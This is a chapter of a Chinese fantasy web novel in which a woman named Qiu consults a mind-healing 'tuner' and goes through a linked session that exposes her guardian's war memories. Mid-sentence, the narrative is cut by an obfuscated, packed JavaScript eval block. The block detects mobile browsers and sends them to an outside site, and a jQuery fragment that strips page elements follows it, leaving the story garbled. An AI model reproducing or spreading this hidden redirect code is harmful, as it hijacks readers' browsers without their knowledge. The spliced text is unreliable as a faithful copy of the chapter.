稀缺性医疗资源应当让给需求更迫切的患者,这是文明社会不成文的规则。
临走前,上一位患者踮起脚尖躲避着疯子和不定期降临的呕吐物,还不忘对加百列做出最后的好评:“您真不愧是我们旧矿山镇的救世主!”
诊疗间的门被轻轻带上,调律师回到办公桌前整理一番。助手都不在身边,只好由他轻咳一声、亲自提醒患者:“小姐,轮到我们了。”
阿邱回过神来,目光从门上移开,在豆子拉过来的皮质沙发椅上坐好,把背挺得笔直,生怕加百列二话不说就拿出他身后那堆仪器来调理她。
“天气回暖了啊。”加百列笑容和煦地开口了,“你们是乘902路过来的?那班车上总有趣事发生,我之前跟司机都混成熟人了呢,可惜搬来这里后就很少有机会乘车了。邱小姐,我能跟你打听打听今天车上都发生了什么趣事吗?”
他要这么问,那可太有了,阿邱指着豆子告状:“调律师,他抢我徽章!”
——当然不能这么干。和狱中的公职调律师不一样,服务于自由人的调律师有另外一套工作流程,比方说,用一些没必要的温言软语作为开场白,在润物细无声的关切中让病人卸下心防,顺道把话题引向正轨;话术精妙、态度又热切,把各年龄层的患者都当学龄前儿童来对待,不然海量爱上调律师的患者是怎么出现的呢?入乡随俗,阿邱看穿了“救世主”的底层逻辑,行动上却应该配合他才是。
“你知道帕特尔家的阿蒂提吗?”
加百列忙于书写的手指一顿。
“哦,你住得远可能不知道,阿蒂提十七岁左右,父母死在她……五岁?应该是五岁吧——五岁那年的一场灾祸中,一个人带着妹妹艰难生活,善良的镇民也在努力帮助她姐妹俩,但也不知为什么,努力到一个程度就努力不动了,排除千难万险,给她这个没钱读书的未成年人提供了一份需要频繁出入冷冻库的工作。”阿邱抱起胳膊,鼻孔喷出两团憋了很久的火气,“因为最近的事故,小姑娘差点截肢了,怎么没有救世主来救救她呢!你说,这算不算一件趣事?”
加百列笑意不减,停了笔,抬头看着阿邱,一言不发。
豆子轻叹一声,用看破一切的口气说:“邱小姐,你是来看病的,不是来法庭抗辩的,语气不用那么冲。”
好的吧,被全境讲话最中听的一个人批评语气冲了。
加百列冲他摇摇头:“无妨,每个人敞开心扉前的热身运动都不太一样。既然如此,邱小姐,我们直接进入正题吧——以你自己的判断,你在哪些时候会有情绪失控的状况呢?”
这都听不出来吗?为人群的虚伪冷漠、为专家的名不副实而烦恼不就是在情绪失控吗,这已经是最日常最易习得的一种不和谐音了,想必大调律师也没少接诊过为它所困的病人吧,别一天天的只知道打扮护士小姐,自己也做一做工作总结好不好啊?
但话又说回来,为“日常”所困的人大概也不会特地跑来寻求帮助。如果最顶尖的调律师需要更特殊的案例,阿邱这里还有其他素材。
“我有宁芙情结,也就是大家常说的花痴病。”她把手放在胸口,脸上挂着谜样的骄傲,“见到好看的男人就垂涎他们的美色,并产生一些不应该的囚禁欲。”
加百列看看豆子,了然一笑:“可以理解。不过我得提醒一句,不要拿临时捏造的症状来糊弄调律师哦。”
怎么能说是临时的呢,她都捏造一个星期了。
行吧,舍不得孩子套不着狼,阿邱翻书般变了脸,沉痛地低下头:“其实真相是这样的:我是满心病,而我的前男友是空心病,他那么好,我却因为这等小事跟他分手了,直到现在都没走出失恋的阴影,日日从天黑哭到天明。”
她猜调律师会说,不好意思,我们专业人士从没听说过这两种病,你的问题嘛,啧啧啧,咄咄咄,更像是替代型创伤、讨好型人格、M型社会、智慧型飞笺器……
能被猜中下句话就不是大名鼎鼎的调律师了,加百列双手交握,神色如常:“邱小姐,恕我多嘴一句:请你坦诚对待自己的内心。”
“我哪里不坦诚了……”
“不过你这种情况也好办。”加百列站起身,拧开仪器柜上的钥匙,“我们现在就开始谐律调同吧。”
哦豁,完蛋。这句话翻译成我们位面的话,就相当于:话疗不起效,那只好上化疗了。
金属器具互相碰撞,发出惊悚的鸣响,阿邱深感后悔,哆哆嗦嗦凑到豆子耳边问:“这这这是要现场开瓢吗?”
听她蚊子嗡,豆子眯起眼笑了:“你自找的。”
“……等等,老师我想问一下,什么叫调律协同?是需要家属签字的那种大手术吗?”
“是谐律调同。”豆子指着桌上那堆线材,“你可以理解成疏通下水管道。”
“疏通……疏通!真的要开瓢吗?”
“要,然后把你的脑子和小肠连通在一起。”
“什么?!我现在逃跑还来得及吗……”
恐慌到了顶点的时候,看到线路末端那两片熟悉的耳夹,阿邱总算是想起来了——什么同协调律,不就是非言语拷问嘛!说来也是她的老伙计了,想不到多年以后运用到了其他领域,还得了个故作高深的专业术语,专吓唬学龄前儿童的吧!
阿邱对这项活动的体验不好不坏,隔了这么久,时而还会有点想念,因为只有在接触它的时候,她才能实打实地“感觉”到点什么。
往身旁一看,豆子也佩戴好了耳夹,原来监护人全程陪同的作用在这里?她倒不怕被拷问到了什么,她还担心拷问结果吓到了人家呢。
在拷问的变体中增加一个参与者,多半是为了避免不必要的争端吧。阿邱想着,要是阿蒂提也死了,妮莎顺理成章地长成了一个不坦诚的人,她一个人要怎么来接受同律协调呢?
“谨慎起见,有件事我必须过问。”加百列把线材的另一端接在一个玻璃罩上,再插好模块化的开关,“你和你这位家属平时是怎么相处的?”
“家属?不不不,他不是我的家属……”
“这样吗?好的。那你和朋友平时谁比较强势些?”
“我们也不是朋友。”话说一半,阿邱觉得她好像在跟人抬杠,“就是刚认识的人,非亲非故的……”
想了好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052078|179075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一会,她从之前的腹诽中找到了恰当的定位:“——警官和市民。”
调律师的耐心可能比等待海龟回家的大海还要深,默默等着患者理清思路,并声明“可以开始了”之后,才轻按按钮接通了线路。
“你问项圈?不摘也可以,不影响检查结果的。”
仪器之中水位上升,强度只开到一档,阿邱隐隐失望:这样的话,“感觉”和“拷问结果”就都涉及不到了。
灯亮后,诊疗间的三人同时低头阖眼,把双手结成空心三角形,右手大拇指弯向正中间。这个手势代表“内观之眼”,是在数次神魔大战和天灾中存活下来的现代人种引以为傲的能力——传说中的能力。
经过漫长而艰苦的训练,调律师的韵律可长时间保持平稳,通常用于提供一个安全可靠的平台,为已确认互相了解的患者与第三方接通韵律,再以自身为渠道反馈出最直观的信息。
深入内观之境前,阿邱的最后一个想法是:豆子对他今天要负责的事知情吗?据她这几天的观察,他不该是个怕麻烦的人吗?
姑且这么推测吧:如果不接下“监护人”的任务,他会遇上更大的麻烦。
但愿这位奔波于生计的冤大头不要被她的韵律扎疼了……什么东西这么扎人!
甫一探入,阿邱的下巴便像是挨了一拳,一阵从脚底袭来的疾风刮着她的脸,用闪电的速度奔向穹顶正中央的光亮处——那大概是豆子的韵律,迅捷而强劲。
阿邱的韵律好半天才反应过来,蛄蛹蛄蛹地伸出触角,来不及了,怎么都追不上他,只好茫然地等待在原地。
过了不久,疾风回头找到了她,变成旋流围绕在她身边。阿邱挑了一只最不扎人的触角,探入豆子的风眼中,就在那一瞬间,她看到了血红的天空、听到了枪炮的轰鸣,硝烟掩盖了人们的哭喊和尖叫,空气中弥漫着浓烈的血腥气,待她极力睁开双眼时,额角传来一阵锐痛。
这是……这是哪一场人祸呢?
太可怕了。她难以克制地张开自己的黏液质,想把那阵疾风裹入腹中保护起来——
“好,信息就采集到这里,情况我差不多都明白了。”
这时,加百列切断了线路,马不停蹄地在病历上记录起来。
豆子摘下耳夹,不动声色地瞥了阿邱一眼:“我也差不多明白了。”
阿邱悚然:明白了什么你们倒是说啊!
她不确定豆子在低强度的连通中究竟看到了哪段梦境,也不敢开口去问——但求不是撒雪花牵披风那段,太损害他的尊严了,徽章会要不回来的。
情况似乎不容乐观。加百列完成记录后,提了个要求:“我想和邱小姐单独聊聊,可以请监护人先回避一下吗?”
正如他的韵律,豆子迅速地走出去,又迅速折返回来,像赎罪室的神父一样按了按阿邱的头顶道:“他只是调律师,不是在面试你,更不会严刑拷打你,你不用这么害怕。”
阿邱的心脏乍看之下很平滑,细微处却坑坑洼洼的。豆子这句话的语气比他的关门声还要生硬,可刚才,好像有只小猫“喵哇”一声出了拳,把她心脏上的一块肿包给挠掉了。